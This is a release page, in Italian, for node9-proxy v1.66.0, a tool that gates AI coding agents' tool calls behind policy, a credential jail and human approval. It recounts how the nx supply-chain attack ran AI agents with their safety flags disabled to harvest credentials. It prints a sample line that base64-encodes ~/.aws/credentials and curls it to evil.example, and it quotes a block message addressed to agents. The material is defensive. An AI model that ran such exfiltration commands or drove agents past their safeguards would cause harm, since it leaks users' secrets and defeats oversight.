Torna agli aggiornamenti
New releaseJul 26, 2026

node9-proxy v1.66.0

Il livello di sicurezza dell'esecuzione per l'era degli agenti. Fornisce una governance deterministica "Sudo" e registri di audit per agenti AI autonomi.

Condividi

🛡️ node9

IAM per i tuoi agenti AI

I tuoi agenti AI possono raggiungere Slack, GitHub, l'email e il tuo database.
node9 decide cosa possono fare con ciascuno di essi.

npm version monthly downloads License: Apache 2.0 Documentation OpenSSF Best Practices OpenSSF Scorecard node9 self-scanned Mentioned in Awesome Claude Code

Credential jail · segreti e PII · git, SQL e shell distruttivi trattenuti per revisione · MCP tool pinning · allowlist di egress di rete · loop breaker · un unico registro attraverso dodici agenti

Funziona con Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · qualsiasi server MCP.

Come si presenta

Il tuo agente a sinistra, node9 a destra. Ogni chiamata a uno strumento effettuata dall'agente viene verificata prima di essere eseguita: consentita e registrata, trattenuta per la tua approvazione, o bloccata. L'agente in questo caso è stato avviato con --dangerously-skip-permissions, e node9 decide comunque.

node9 monitor: live tool calls, decisions, shields and score

Installazione

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

Poi, in qualsiasi progetto:

node9 init       # finds your agents and MCP servers and puts node9 in front of every tool call
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

Richiede Node.js 22+.

init è l'intero prodotto. Scrive gli hook, attiva il credential jail e le regole sempre attive, e inizia a fare enforcement immediatamente. Nulla lascia la macchina e non serve alcun account.

login non aggiunge nulla all'enforcement. Collega la macchina a un workspace così che un team possa vedere un unico registro attraverso i portatili e le CI di tutti, impostare policy centralmente, e approvare le azioni trattenute da una dashboard o da Slack. Salta questo passaggio e node9 funziona esattamente allo stesso modo, da solo, offline. node9 logout disconnette di nuovo e l'enforcement locale continua a funzionare.

Il problema

Ad agosto 2025, release compromesse del nx build tool hanno distribuito uno script post-install che cercava agenti di coding AI già installati sulla macchina dello sviluppatore, poi li eseguiva con i loro stessi flag di sicurezza disattivati (--dangerously-skip-permissions, --yolo, --trust-all-tools) per enumerare chiavi SSH, credenziali cloud e file di wallet e scrivere la lista su disco. Lo script inviava i risultati a repository pubblici all'interno degli account GitHub delle stesse vittime. Più di mille token GitHub validi sono trapelati, insieme a credenziali cloud, token npm e circa 20.000 file, da macchine in cui l'agente stava facendo esattamente ciò che gli era stato detto.

L'agente non era l'attaccante. L'agente era lo strumento, e nulla si frapponeva tra esso e i file. Il gate di node9 non è uno di quei flag: viene eseguito nell'hook, e un'azione che trattiene resta trattenuta anche quando l'agente è stato avviato con i permessi saltati.

Cosa fa node9 al riguardo

node9 si colloca tra l'agente e ogni strumento che chiama. Il credential jail (~/.ssh, ~/.aws, file .env, chiavi private) è attivo per impostazione predefinita, e una lettura di uno di quei percorsi non viene eseguita. L'agente viene fermato, gli viene detto il motivo, e la decisione arriva a te:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

Il comando viene analizzato come AST di shell, non confrontato come testo, quindi avvolgere la lettura non aiuta. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example viene giudicato come una lettura di ~/.aws/credentials, non come un echo.

node9 è un gate. Un'azione trattenuta non viene eseguita mentre attende te, e se non rispondi mai resta bloccata. Tutto il resto è consentito e scritto nel registro.

Cosa non fa: con il controllo di egress disattivato, che è l'impostazione predefinita, un comando che consegna un file direttamente alla rete, come curl -d @~/.aws/credentials, non viene trattato come una lettura di quel file. node9 egress protect controlla anche le destinazioni, e copre solo i comandi shell.

Verificalo tu stesso

Nulla di quanto segue richiede un account, e nulla viene caricato.

npx node9-ai scan                                        # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed

node9 scan scorecard

Cosa governa

Ogni riga è una capacità, con la pagina che la documenta. La documentazione è il riferimento; questo file è la mappa.

Categorie